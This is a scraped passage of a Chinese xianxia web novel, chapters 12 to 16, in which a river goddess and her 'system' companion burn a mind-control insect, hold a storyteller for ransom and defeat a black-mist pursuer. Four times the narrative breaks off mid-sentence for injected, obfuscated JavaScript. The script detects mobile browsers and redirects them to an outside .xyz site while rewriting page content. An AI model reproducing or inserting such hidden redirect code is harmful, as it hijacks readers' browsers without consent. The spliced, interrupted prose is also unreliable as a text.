“可是。” “我不喜欢小虫子。” 兰无思咽了口唾沫,是真的害怕了。似乎被火烤的不是她的得意蛊虫,而是她的心脏。 12. 第十二章 第十二章 那只小虫子指甲般大小,隐匿在空中直到被元吉抓住都无人发现它。这也是兰无思自信的缘由,可她不曾想到,元吉有系统在。 阿统在她放出蛊虫想要控制元吉时便开口提醒元吉,并未让她的诡计得逞。 元吉转动着指尖,动作轻缓。跃动的火种炙烤之下,蛊虫的身形渐渐显现出来,湖蓝色的甲壳折射出翠绿的光晕。 只可惜这漂亮的色泽很快被焦黄所侵染。 “兰姐姐,你为什么要这样做。”栾萱诧异,不解地开口询问。 她自小便同兰无思一同长大,兰无思的手段她是清楚。这蛊虫是兰无思最为得意的,只要它钻入那人的体内,不用一息的时间就能控制那人的一举一动为兰无思所用。 只是这蛊虫数量极少,兰无思极为宝。栾萱唯一一次见到还是年幼时族内动乱,兰无思放出蛊虫控制了反叛者才让她和哥哥活下来了。 “可今日,为何要用!” 元吉揉了揉耳朵,没想到她这小小的身体还有这般力量。 兰无思白了一张脸,整个人僵在原地。她从来没想过会有人发现这蛊虫的存在,也从未想过被发现后该如何。 她张了张嘴,面对着栾萱失望的神情说不出话来。下意识目光在四下寻觅着栾郁的身影,“我……小姐……” 此时,栾郁木着脸快步走到她身侧。兰无思眸子一亮,伸手去拉他的衣袖,想要解释什么。“少主,你听我解释,我只是想和你们一起留……” “兰无思。河神大人是我们的救命恩人。”栾郁的声音极低,打断了她的话。他向来温润,突然这般面无表情让兰无思格外心慌。“你不该这样。” “元吉,分析出来了。”阿统看着系统检测出来的结果,倒吸了一口凉气,“只要被这虫子钻进去,你就会悄无声息被这人控制,除非蛊虫死了或者控制蛊虫的人死了才能解脱。” 阿统说着,捂着口鼻默默离那虫子远了些,“这人好坏,我们快把她赶走!” 哼,居然和他们系统抢人,真是痴心妄想,有它在这虫子就别想靠近元吉。 闻言,元吉指尖一顿,有些嫌恶地瞥了眼那蛊虫,操纵着火种让其灰飞烟灭。 一缕灰烟消散,元吉弹了弹指尖,刚想着找处干净的水源洗手,便瞧见一方绣着祥云纹样的帕子飘到她面前。 元吉:……? 见她不接,那帕子又往前送了送,倒让元吉看清了底下之物。 原是一把巴掌大小的青剑,此刻正顶着帕子。本是无情的死物,只是它左右轻微摇晃着,莫名让人觉得这灵器带着些谄媚的色彩。 立在旁侧的祁琰瞧见了青剑,舔了舔后槽牙,心下冷笑一声,将怀中那柄偷偷放出分身偷了自己帕子的罪魁祸首丢入储物戒中。 “近日胆子倒是肥了许多。”三番两次擅自行动。 没了知节的捣乱,那小青剑一抖,发出一声剑鸣瞬间消失,方帕慢悠悠地落在元吉掌心。 一股冷香袭来,元吉若有所思地捏着上头的祥云纹样。眸光流转,余光瞥了眼静坐一旁闭眼调整内息的祁琰,她无视耳畔阿统一惊一乍的喊声,一下一下擦拭着指尖。 元吉不说话,面前的几人是大气不敢喘,一颗心提到了心尖。 栾郁默了默,轻推兰无思并未让她挨着自己,叹了口气,像是做出了什么决定。“河神大人。” 元吉抬眼,栾郁撩起长袍一下便跪在她面前,他的举动突然,绕是元吉都被唬了一跳,更遑论其他几人。 “少主。” “哥哥。” 栾萱见哥哥跪下,毫不犹豫地也跪在元吉面前。一张小脸也收敛了笑意,带着不属于她这个年纪的沉稳。 兰无思见栾郁跪下立刻就要去拉他,被栾郁眼神制止后像犯错的孩童也跪在元吉面前,指尖绕个不停,心中甚是懊悔。 “河神大人,栾郁代兰无思向您道歉,她实非想真心伤害您。”栾郁斟酌片刻,“然栾郁知晓她此举十分不妥,不敢祈求您的原谅。栾郁会带着她离得远远的绝不再打扰您。” “只是萱儿年幼,路途危险万分。栾郁恳请河神大人能庇佑小妹一段时间,待栾郁回族夺回大权必来接走萱儿。” “哥哥!”栾萱惊呼一声,扯着栾郁的袖子不放。 栾郁安抚性地拍了拍她地手继续道,“作为赔礼,栾郁将栾家半数家产赠与河神大人,还望河神大人开恩。” 兰无思此刻也意识到自己的举动带来的后果,她放下揪着栾郁袖子的手,一双眸子忍泪忍得通红,她缓缓俯身话音哽咽着向元吉磕头认错。 元吉扫了眼兰无思,并不关心她是否真情实意。倒是面前的温润的少年话音掷地有声,让元吉一改先前的印象。 元吉静思一会,颔首,“可。” “自行离去。”她挥了挥衣袖,如今这大门还在地上躺着,没什么拦着他们。 “栾郁还有些话想与小妹交代,不知是否可容栾郁再呆一会?” 见元吉同意,栾郁便拉着栾萱细细交代。半晌后,他看着面前满脸泪痕不舍地小妹,苦涩地扯出抹笑意来,“别哭,哥哥会尽快来接你的。你要乖乖听河神大人的话,莫要惹河神大人生气。” 栾萱哭得上气不接,用力点头,“哥哥,你要保护好自己,尽快来接我。” “嗯,哥哥保证。”栾郁揉了揉她的脑袋,从怀中掏出一枚储物戒递给她,“把这个交给河神大人。” 不远处自责的兰无思正无声抹泪,兀得脑海中响起一道声音。 “一道护身符,换你三只寻人蛊。” 兰无思一惊,猛得抬头,意外对上祁琰的眸子。她缩了缩脖子,她的寻人蛊追踪能力极强,只要留有那人的气息不管是天涯海角都能找到。 别看先前的蛊还没靠近河神庙都被震碎了,在其他地方可以说是无往不利。 只是他为什么要寻人蛊?难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078522|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不成这人之前追赶她也是为了寻人蛊而来? 兰无思不敢多想,只是三只寻人蛊便能换得祁琰的一道护身符,稳赚不赔的买卖。 她对着祁琰点头,刚想掏出蛊虫又讪讪看了眼闭目养神的元吉。河神大人不喜欢虫子,等她们离开了河神庙再交易吧。 两人很快便同元吉告辞离去,临走前元吉从系统商城兑换出一枚传音贝壳丢给栾郁。 “有事,用它。我会来。” 栾郁瞬间红了眼眶,用力点头。“多谢河神大人。” 待两人走后,元吉看了眼那储物戒直接丢给阿统保管。 “元吉,我刚才翻了翻系统,原来这里的货币我们也能用。”阿统眼馋地瞥了眼储物戒,好像已经看到它心心念念的灯塔再向自己招手。 “哦?” “这里,我们可以用灵石改变河神庙的外观,同时也能够获得一些附加的功能。”阿统扒拉着商城给元吉看,“三万上品灵石再加上这戒指,我们的河神庙绝对金灿灿,漂亮至极。” 元吉顺着它的视线看去,纯金子的建筑,可不金灿灿。 不过,元吉的目光再次移到被人扶起来虚虚靠着墙的两扇大门,确实该换一换了。 指尖滑动,眼前的物品快速闪动起来。 突然,元吉按住屏幕,点在了最为便宜的一项上。 【普普通通的大门:一扇能照明的大门。】 【购买即可赠送一块牌匾,不要错过哟~】 “等等元吉。”眼见着元吉要点兑换键,阿统赶忙拦住,“我们有那么多灵石,这个才一枚灵石。” 元吉不明就以看它,半晌后才反应过来,“那个戒指是人家养妹妹的,我们就三万灵石,要省着点。” “况且这还送一块牌匾,还能照明,很不错啊。” 说完,元吉按下兑换键,在阿统惊恐的目光之中,“咚”的一声从前头传来,伴随着阿统惊恐的抽气声,耀眼的光亮冲天而去,生生照亮了大片天空。 元吉:…… 好样的,能照明的大门是把太阳射下来装里头了? 元吉眼角抽了抽,低头开始寻找退货键,怪不得只要一枚灵石。 巨大的光亮将后院的人全吓了过来,一个个捂着眼睛、半眯着眼走来,怯生询问,“河神大人,这是?” 元吉木着脸,语气无波无澜。 “大门。” 众人静默片刻,很想睁眼瞧瞧河神大人寻来的大门是什么样的,奈何这光亮着实太夺目了些,实在是看不清。 众人捂着眼默默又都回去了。 河神大人这样做,一定是有她的深意吧。 这道光亮直冲云霄,破除浓雾,世间众修士皆感知到一道可怖的威压从天而降。 随即,一道金光从深山中飞出,直奔忘川而来。 寻觅它多年之人缓缓抽出腰间长刀,露出抹阴测测的笑容。 “终于现世了。” 13. 第十三章 第十三章 难得的晴天,葱郁的树木舒展枝叶,恨不能将所有光亮拥入怀中。忘川的云雾散去,露水顺着叶脉缓缓滑落,水面泛起层层涟漪。 栾郁离去,村民们也在燕枯和乌伯山的护送下回村,方明珠带着伤心的栾萱去后院洗漱。一时间,整个前院只剩下元吉和祁琰二人。 这会安静得很,元吉瞧着那退又退不掉,金灿灿闪得人眼疼的大门,烦躁地“咋舌”一声,低头从商城中翻找起来。 【一匹黑布:能遮住任何想要被遮住的东西。】 元吉思索片刻,忍着心中那股道不明钝钝的情绪,当即花了一枚灵石将其兑换出来。她掂量一番手中颇有质感的黑布,毫不犹豫将它给挂到了门上。 这黑布布如其名,刚盖上那大门的金光便黯淡了许多,只露出淡淡的光芒。 没了那刺眼的亮光,元吉心满意足地拍了拍手,抬眼望去,这商城赠送的牌匾比起那扇大门来并不惹眼,朱红色的木料上端端正正刻着“河神庙”三字,颇为普通甚至略显寒酸。 看着这朴实无华的牌匾,元吉庆幸,还好刺眼的东西只有一个。不然这庙从上到下盖着黑布,瞧着怪渗人的。 阿统飘在她身侧,瞧着元吉的一番举动欲言又止,自欺欺人,“确实比之前好些……才怪啊!” “元吉!难道现在就不渗人吗?谁家的门上挂一整块黑布啊!” 面对阿统的崩溃,元吉不置可否。她寻了处干净的枝丫坐在上头,一手搭着膝盖,一手随意垂在身侧,颇为惬意地闭目开始晒太阳。 眼不见为净。 树影斑驳,温热的风拂过脸颊,坐在树下的祁琰将元吉的动作尽收眼底,长睫颤了颤,一双凤眼闪过一丝笑意。 他倒是没想到还能这般解决。 祁琰从储物戒中取出一套白玉瓷茶盏,斟了一杯新茶递给元吉,不经意间问道:“元修士实乃性情中人,不知师从何处?” 小小的茶盏漂浮在面前,淡色的茶水盈盈漾出漂亮的光晕,叠着玉器的莹润,恍若星河入水。 元吉下意识往下看去,意料之中并未见一柄小青剑。白皙的指节捏住茶盏,倒是她心仪的温热。 “无师无门。”她抿了口茶,入口的苦涩很快便被回甘冲去,“天生地长。” “原来如此。”祁琰再为她斟上一杯后收回目光,好似方才的问话只是家常闲聊。 阿统警铃大作瞪着眼睛紧盯着祁琰,生怕因为自己的疏忽让这人又施了诡计。 庙内一时又安静下来,偶尔还能听见风吹过枝叶间的细微声响。 很快,这份安静就被一声直冲天际的惊呼给打破了。 “我的老祖宗诶!这是什么东西!凶宅吗?” 夜文术一身破破烂烂的布衣上沾满了泥泞,也不知道是不是去泥潭里滚了圈。他一手撑地,一手不停拍着胸口给自己压压惊。 “我的老祖宗诶!可千万别冒出个鬼来,这什么鸟不拉屎的地方啊,谁家大门上挂黑布啊,这不缺心眼嘛……呜呜……” 元吉被他的破锣嗓子吵得心烦,起身瞧去正听得这句话。 “咔”,掌心的玉瓷盏被纤细的指尖捏出几道裂痕,下一瞬便化成粉末消散在空中。 元吉:……啧。 “抱歉。”她忘记是祁琰的了,“我会赔你套新的。” 祁琰,“不必,不是什么贵重之物。” 元吉并未将他的谅解当真,让阿统去商城中寻套更好的后,便将注意力再次放回到门口那个撅着个腚,对着河神庙瞧个不停的家伙身上。 “真是好样的。”元吉扯着嘴角,笑意却让人背后发寒。 阿统忍不住打了个哆嗦,一定是它的错觉吧,它怎么听出来股咬牙切齿的意味。它总觉得门口那家伙要倒霉了。 不过,地图上怎么没显示任何标志? 阿统将这个疑问给按了回去,没好意思同元吉说系统出问题了,否则指不定会被她如何嫌弃。 做统难,做一个贴心的统更难。 门外的夜文术探头打量半天后,开始琢磨起牌匾来。 “河、神、庙?”他托着头沉思片刻,摇摇头,“应该是老、鬼、宅!嗯,就是这样!” 夜文术摸索着下巴,对于自己的推测颇为自信。“这地方定是被人关了只老鬼在里面,怕人误进才布了黑布提醒人别走错。” “我的老祖宗诶!那我可得离远点,否则被那老鬼抓走了可咋办!” 夜文术打了个哆嗦,倒退三步扭头就跑。他可不能折在这,他还没找到要找的人呢。 谁知,夜文术跑了几步却发现,周遭的景色并未发生任何变化。不知道是不是错觉,他总觉得自己的衣裳被什么东西勾着了。 还未扭头查看,夜文术“唰”地一身被一道白光拎着后颈丢进了院中。 “啊啊啊!” “有鬼啊!我的老祖宗诶救命啊!!” 夜文术蜷缩成一团,将头用胳膊紧紧抱住,一阵鬼哭狼嚎吵得元吉脑仁子疼。 “聒噪。” 元吉不耐地抬眼,勾勾手指就将他的声音给封了。 “呜呜呜……”夜文术发觉自己不能出声,脑海中瞬间浮现出看过的各种话本。 《黑山老妖智取猪刚鬣》 《孤村老尸夜游杏花楼》 …… 他还欠着好几个话本子没交稿,也还有一篮子话本没看完呢,不会就今日命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿统咽了口唾沫,“元吉……你这是准备干什么?” “不干什么。”元吉拍了拍手掌,并不觉得方才自己的举动熟练地骇人。 “等人来赎他。” 阿统:……? “应该快到了。” 阿统:……阿? “赚赎金给你换灯塔?” 阿统顿时亢奋:“好!” “要不要再绑紧点,别让他跑了!” 元吉:…… 14. 第十四章 第十四章 滚烫的泪水划过双颊,夜文术此刻便如同他话本子中被迫害的良家子一般,仰面无声哭泣。 倘若不是被套着麻袋像个不值钱的垃圾被随意堆在墙角,夜文术觉得自己或许不会这般伤心。 今早一早他便推算出自己将有灭顶之灾,唯一能帮他解困之人藏在这忘川之地。 一路风尘,便寻无果。谁成想只是路过一座破庙竟要受此屈辱。 夜文术悲愤至极,这小女娃看着秀雅绝俗,下手怎得这么黑!这究竟是捆了多少人才能捆得如此紧,不给他一点机会逃脱! 可惜他的腹诽元吉听不见,否则定会告诉夜文术:无他,唯天赋罢了。 “元吉,真的会有人来赎他吗?”阿统看着自怨自艾,不修边幅的夜文术,有些嫌弃地摇了摇头。 “会。”元吉笃定极了,“他衣服上的断痕是新的。” “一把刀划过。”元吉视线落在那满是泥泞的衣裳上,心口的位置豁了一个大口子,“但是他躲得快,逃开了。那个人下了死手,肯定还会追过来。” 阿统看着那划痕,那是冲着这人命来的。它咽了口唾沫,“那他们要是在庙里打起来把庙砸了怎么办?” 话音刚落,元吉便幽幽地看了过来。阿统顿时眼前一亮,整个统来了精神。 原来是这样!它明白了! 元吉抬眼瞥向放弃挣扎的夜文术,百无聊赖地摸出一枚灵石在指尖把玩。“阿统,看下地图人是否到了。” 一提到地图,阿统便有些心虚,它展开来递到元吉面前,只见上头一个绿点正飞速向河神庙移动。 “元吉,这人速度挺快,不用半柱香的时间就能到了!”阿统说完,扭头望向大门,望眼欲穿。 它的灯塔在向它奔来! “嗯。”元吉应了声,趁着这个机会闭眼引着自己的力量沿着筋脉在体内游走一圈。 她的力量尚未恢复完全,有时还得身体力行。倘若全靠那不靠谱的什么系统来恢复力量,也不知要等到猴年马月。 白光顺着筋脉游走,牵引着周遭的灵气快速进入元吉体.内。充沛的灵气像像是被漩涡所吸引,争先恐后没入其中。 祁琰察觉周遭灵气变化之大,颇为警觉地唤出知节。待他发觉是元吉在修炼时,那紧按着剑身的手便松了松,因用力过度而惨白的指尖也恢复了些血色。 他若有所思地看了眼元吉,继续眼眸微阖佯装出一副重伤未愈的模样。 只是在夜文术的脑海中,陡然响声了祁琰的话音。 “你想活命吗?” 夜文术瞪大了眼,咕噜噜地转了一圈,脑海中出现了神情冷淡的祁琰模样。 他侧着身,小心试探,“祁修士?” 祁琰不咸不淡地应了声,“有人在追杀你。” 夜文术脸上的神情一收,整个精气神都被泄了去,他苦涩一笑,“是啊,我快死了。” 那个人,追了他多年,他也东躲西藏了多年。 “祁修士,谁都想活,只是众人的命早就被安排好了,不是想不想这般简单。” 祁琰蹙眉,显然并不认同这话,“人定胜天。你若认命便是被天所控。” 夜文术怔神一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078524|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬,话音带了些热切,“祁修士言之有理,可要跳出‘命’谈何容易。祁修士这般说,难道有什么法子!” “若是祁修士肯指点迷津,我必尽我所能报答祁修士!” 得了自己想要的答案,祁琰的指尖在杯沿点了点,“如此甚好。” “此处是河神庙。”闻言夜文术点头,是了,他刚才便看到了。 祁琰继续道,“你面前之人便是河神,她可解你的困境。” 夜文术神情一僵,倒吸了一口凉气。他的卦显然能救他之人是位实力超群之人,可这女娃看起来年轻极了,能救自己? 随即,夜文术哑然失笑。将自己捆得像个粽子,确实是能力超群了。 他脸上的笑意顿时深了许多,双颊挤出些纹来。“是我着相了!多谢祁修士指点迷津。不过我还有个疑问。” 夜文术突然变得扭捏,“方才不知情下得罪了河神大人,不知道该怎么才能让河神大人愿意出手救一救我。” “这也简单。”祁琰想到了什么,嘴角噙着笑意,“灵石。” 夜文术:? 什么东西? “或者……”祁琰偏头,视线落在元吉两指间的灵石上,“亮亮的东西。” 夜文术一头雾水,“就这么简单?” 祁琰但笑不语,只留他独自思索,该拿个什么东西来呢。 而就在此时,一个被浓郁黑雾包裹着的人形出现在河神庙前,手中的长刀泛出一道寒光。 那人的嘴角扯得极大,露出尖锐的利牙,嘶哑的嗓音从其喉间挤出。 “找到你了。” 15. 第十五章 第十五章 “河神庙。” 来者看着夜文术藏身的地方,轻笑一声语气轻蔑,漆黑的瞳孔占据了整个眼眶,却依旧让人觉得眼底透着寒意。 “就这破屋子还想拦我?” 破破烂烂不知多少年没洗的衣裳被一身的黑雾所包裹着,随着他的动作雾起雾散。 他用掌心缓缓擦拭长刀,寒光一闪,直冲“神”字,已然有着股弑神的杀意。 河神庙内,夜文术察觉不对劲。脸上的悲愤顿时收去,瞳孔骤缩,心道一声。 “不好!我的老祖宗诶,他追来了!快走!” 夜文术立马起身想要离开这,却被身上的缚灵咒死死捆住动弹不得。 “河神,对!河神!” 慌乱挣扎中,他想到了祁琰先前所说,顿时眼底燃起了希望。夜文术匍匐在地,被绑住的双腿用力抵着墙面朝元吉爬去,动作丑陋却异常的灵活。 此时的元吉正饶有兴味地打量着来者身上的黑雾,这倒也是上好的养料。正想着,余光瞥见角落里一坨庞然大物退化成了蠕虫般往她这边拱来,沉思片刻。 指尖轻抬,火种乍然出现,跳跃的火光已是跃跃欲试。 祁琰是见过这火种的威力,此刻见它出现,神情一楞,哑然失笑道:“元修士,此人似有话说,不如先听一听?” “是啊是啊。”阿统这会也不想猜测这人有什么鬼主意,只想着赶紧拦下元吉。“这人虽然嘴上不把门,但是罪不至死啊!” 元吉有些茫然:……? 在说什么,她什么时候想要他死了? 罢了。 元吉觑了眼望着自己的祁琰,默默收回了火种,也解开了夜文术身上的禁制。 身上一松,夜文术顿觉轻松了不少。他猛地起身飞扑到元吉脚下,再抬眼时,竟已泪流满面。 元吉被他热情地望着,身上不由得起了好一阵鸡皮疙瘩,“说。” “我的个祖宗诶,我可终于能说话了!差点憋死我!”夜文术活动一番,让他憋了这么久可真不容易。 元吉眼眸一眯,“噌”的一声火种出现在她的指尖。炙热的气息扑面而来,夜文术吓得往后一倒,心有余悸地摸了摸头顶。 还好还好,头发还在。 这下他也不敢多贫了,捂着嘴摇头。赶紧听从祁琰的提示从怀中掏出一支镶嵌着明珠的紫竹笔来。 这紫竹笔一出现,一股柔风便吹向元吉,温润的触碰浙她的双颊。 夜文术一脸肉疼,可又没其他办法。这次出门走的急,就带了这个出来。 “河神大人,这是我的心爱之物,涂灵竹笔。用它可不用符纸便可绘制符箓,而且……”夜文术神神秘秘道,“而且它可以快速写出心中所想,是写话本不可多得的宝贝!” 元吉:…… 她挑眉,不太明白这人想做什么。 “河神大人,今日我便将此宝献给河神大人!还望河神大人能护我不死!”夜文术将紫竹笔高举过头顶,奈何许久元吉都没接过。 夜文术琢磨半天,发现其中关窍。 “河神大人,我为先前不敬话语真诚致歉,还望您大人有大量,您绝不是什么老鬼,而是天上地下独一无二的仙女啊,您,呜呜……” 话音未落,元吉便再次封了他的声音不想再多听一句。 这人若是再多说一句,她怕自己忍不住让火种吃了他。 “呜呜!”夜文术满脸悲伤,他应该没说什么不该说的话呀! 河神大人这是答应救自己还是没答应救自己啊? 夜文术忐忑不安地望向祁琰,希望从他这得到个说法,却见后者一脸淡然地递给河神一块点心,顿时内心戚戚。 . 河神庙外,来者感受到了里面夜文术的气息,脸上的笑意是越来越来,咧开的嘴角扯到耳后,浓郁的黑雾瞬间从里头喷涌而出将其包裹在内。 手中的长刀拖着在地上发出刺耳的声响,下一秒便长刀飞向河神庙。 撕裂空气的凌厉感来势汹汹,就连天色都被其所感染黑了几个度。 “砰!” 巨大的撞击声响起,预想中的画面并未出现,来者的笑意收了收。 长刀竟被一道无形地屏障撞飞出去,跌落在地时还被余波震碎成了三段。 来者看着地上的残骸,也不恼,不过是随手捡的武器罢了,抬手攥拳。周身的黑雾迅速凝为实体附在他身上,透着金属的色泽。 “怪不得不跑了。”他轻哼一声,“不过也没用。” 他可从未听说过有什么河神庙,装神弄鬼! “嗬!” 他举起右拳,猛地朝大门砸去。 “嘶。” 夜文术听得一声巨响,吓得整个人缩成一团不敢探头。遭了,这宣成仁用上了黑雾,怕不是这庙都能被他给砸了。 他可是见过那黑雾凝成的长刀连上品灵器都一刀给砍碎了。 元吉撤去笼罩在河神庙上的屏障,“咚”的一声巨响,整个围墙禁受不住宣成仁的一击,轰然倒塌,溅起无数飞尘。 夜文术被尘土呛得不行,又慌又急,恍惚中却见元吉连眉头都未曾皱一下,心也不知道怎么就安了不少。 “哈!不堪一击。”混浊的笑声从胸腔传出,宣成仁瞧着眼前只剩两扇大门和一个牌匾还在原位,其余全成了废土残骸的围墙,得意满满。 元吉顺着他的目光瞧去,点头赞许确实威力大,拆的是干干净净。 她嘴角噙着笑意,从树上飞身而下落到宣成仁面前,饶有兴趣地盯着那团黑雾。 “你就是河神!”宣成仁斜睨她一眼,并不放在心上,“把那家伙交出来,饶你不死。” “原来如此。”元吉并未理会他的威胁,看着那黑雾恍然大悟,“是僵啊。” 活人成僵,也是难得,怪不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078525|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看着那黑雾与魔气不同。可惜了,不能喂给火种。 活人成僵,依靠的就是那黑雾。黑雾散了,恐怕他也活不长久。 元吉安抚摸了摸火种,下次再给你找好吃的。 宣成仁见她一眼便看出了自己的真身,神情严肃了些许,不过又很快放下心来。 知道又如何,这河神庙如此不堪一击,想来这河神也没什么本事。 “呵。怕了就赶紧的。否则别怪我不客气。”宣成仁白眼翻上了天,鼻孔对着元吉呼了口气,视线四下扫了一圈,便在树后瞧见了用黑布将自己盖起来的夜文术。 掩耳盗铃,这次看你还往哪跑。 不枉他追了这人这么多年,不把他带回去,他的心愿便结束不了。 “既然如此,那就算算吧。”元吉看着围墙残骸,缓缓道,“不多,也就十万上品灵石。” “什么?”宣成仁一副见鬼了的神情。这小女娃在说什么胡话,莫不是个傻子。 元吉定定瞧着他,“你把我的墙砸了,十万不多。” 宣成仁嗤笑一声,并未放在眼里,他是来找夜文术的。 他朝着夜文术走去,身上的黑雾快速涌动着,随着脸上的笑意越深,他手间也出现了一把利刃。 “呜呜。”夜文术怕得直哆嗦,等了许久却也没见钻心的疼传来,悄摸摸从两指缝间往外看去。 便见那凶神恶煞的宣成仁以一个极为嚣张的姿势被被定在了原地。偏偏那姿势不稳,不过眨眼间他便直直栽在了地上,一声巨响,听得就疼。 “呀。”夜文术惊呼一声,没忍住笑了出来。“我的祖宗诶,这还是追杀我的那个宣成仁嘛!不愧是河神大人!哈哈哈哈。” 幸灾乐祸的样子让阿统听了都摇头,更遑论地上的宣成仁。 目眦欲裂,恨不能此刻便将夜文术掐死带回去,可恨他此刻像是被泰山所压制,一动不能动。 大意了,没想到这小小女娃竟有如此后手。 宣成仁心下来了算计,这围墙尽破,只需能动便全是机会。他深深的看了眼夜文术,直道可惜。 “行!我给!” 从胸腔愤愤挤出一句,带着怨怼,宣成仁道,“让我起来,我给你。” “元吉,小心他有诈。”阿统适时提醒。 元吉颔首,解了他的禁锢,“无妨。” 下一瞬,一道黑影蹭地从地上飞起,朝着东边飞速。速度之快,只觉眼前全身残影。 夜文术猛地护着脖子蹲下,却听得“咚”地一声巨响。那声音像极了清晨的撞钟声,振聋发聩。 这得多疼啊。 元吉幽幽地看着试图逃跑却撞在屏障上把自己撞晕过去的宣成仁,无奈摇了摇头。 果然脑子不用就会锈掉,这僵顶着个生锈了的花瓶,还不如喂了她的火种。 “蹭!” 指尖的火种快活地跳动两下,直奔宣成仁而去。 16. 第十六章 第十六章 炙热的风迎面扑来,宣成仁感觉自己仿佛成了铁匠铺中的一块废铁,被反复冶炼着。 闷顿的痛感从心口传至四肢百骸,像是全身的骨肉都被剥离开。 他闷哼一声,快速清醒,在脑海中梳理先前的情况。 这河神庙没有围墙,但是有道屏障阻碍他无法逃出去,况且,宣成仁想到了什么神色一暗。 这人深藏不漏,不知道真实实力是多少。 眸光狠厉,身上的疼痛却缓缓消退。或者说,他开始适应这种痛苦。 “元吉,火种对他没用!怎么回事!”阿统看着宣成仁撑着地艰难起身,心中警铃顿响,“不好,他杀过来了。” 元吉立在原地,视线上下扫了一圈。果然如此,她指尖抵着下巴,轻阖眼眸,掩住里头的思绪。 “我的个祖宗诶,河神大人他起来了!”夜文术咽了口唾沫,不敢置信地看着宣成仁,心跳个不停。 我的个祖宗诶,这河神真的行嘛! “这,这……”他一会看着宣成仁,一会又期待地望向元吉希望她出手。 见元吉站在原地不动,只觉得是被吓傻了,顿时懊悔。 打猎终被雁啄了眼,他怎么就信这个看起来孱弱,肩不能扛手不能提的小女娃能救自己。 可别到时候没救得了自己,反把这群人给一起搭了进去。 夜文术扭头看了眼身后的祁琰,想寻求他的帮助。不是说河神能救他,怎么现在! 谁知身后的祁琰满是歉意地对着自己摇了摇头,随后闷闷地开始咳嗽,整个脸上血色尽失,俨然一副虚弱不堪的模样。 他顿时一阵绝望。 既然结局已是定居,又何须给他希望! 夜文术失落低头,眼神飘忽,一个模糊的念头从心底升起又被他给快速按了下去。 不行,那东西不能拿出来! 另一侧,原本心中还没底的宣成仁看到夜文术慌张害怕的样子,又看着旁的那两人不像是实力强胜的模样,顿时放下了心。 这乱七八糟的火改不会就是她的底牌吧。真是个小女娃,不知天高地厚。方才还真被她唬住了。 他脸上的笑意越发大了起来,随意拍手将肩头的火苗按灭,像是在拂去一颗尘土,“还以为多厉害,没想到高估你了。” 话音中带着嘲弄,宣成仁一手握拳翘起大拇指,缓缓划过喉间,“就这样结束吧!” 什么叫做偷鸡不成蚀把米,他会让这群人知道。 “河神大人快定住他啊啊啊!”夜文术崩溃后退。 元吉脸上的神情并未发生一丝变化,“没用的。”她想要的东西,定住是拿不到的。 夜文术闻言,默默收了声,像是放弃了反抗。 “蹭。”宣成仁身上的黑雾突然暴涨,整个河神庙的皆被笼罩其中,不见天日。 “哈哈哈。”可怖的笑声开始回荡,黑雾翻涌,周遭的气温骤降。 夜文术打了个哆嗦,“遭了。” 他咬咬牙,从掌心凝出一物藏于指尖,倘若非死不可,那他便与宣成仁一同自爆。 可惜,他的话本还没写完,也不知会不会有人惦记他浮世笑笑生。 观察一会得到答案的元吉叹了口气,抬头看了眼将阳光遮的严严实实的黑雾。 她还想玩一会的。 可是,她喜欢晒太阳。 “就这样吧。”元吉的身音冰冷,没有任何的温度。 她一个偏头,躲过刺来的利刃。再抬手,指尖夹住弯刀的一侧,稍稍用力,那削铁如泥的弯刀便被震断化成了黑雾消散于空中。 “!” 宣成仁瞳孔猛地一缩,不对劲! 可他反应的太慢了,元吉的指尖已经探到了他的心口。 “噗。”元吉的手没入浓雾抓到了那个东西。 黑雾快速收回保护心脏,不同于火焰灼烧的钝痛,锥心的刺痛感遍布全身。 宣成仁面容扭曲了一瞬,脸上的神情快速抽动,仔细看去,他的五官也渐渐发生变化变得清晰起来。 “什么,你怎么会!”他从喉间挤出不敢置信的问话,额头上青筋暴起,只是里头流动的不是充满生机的血液,而且腐朽的黑雾。 宣成仁试图抬手将元吉打飞出去,可谁知道,那筋脉中的黑雾像是被鲨鱼追赶的小鱼正四处逃窜,根本不听他的指挥。 而地位翻转成为捕食者的,正是先前的火苗。 那个不起眼的小火种。 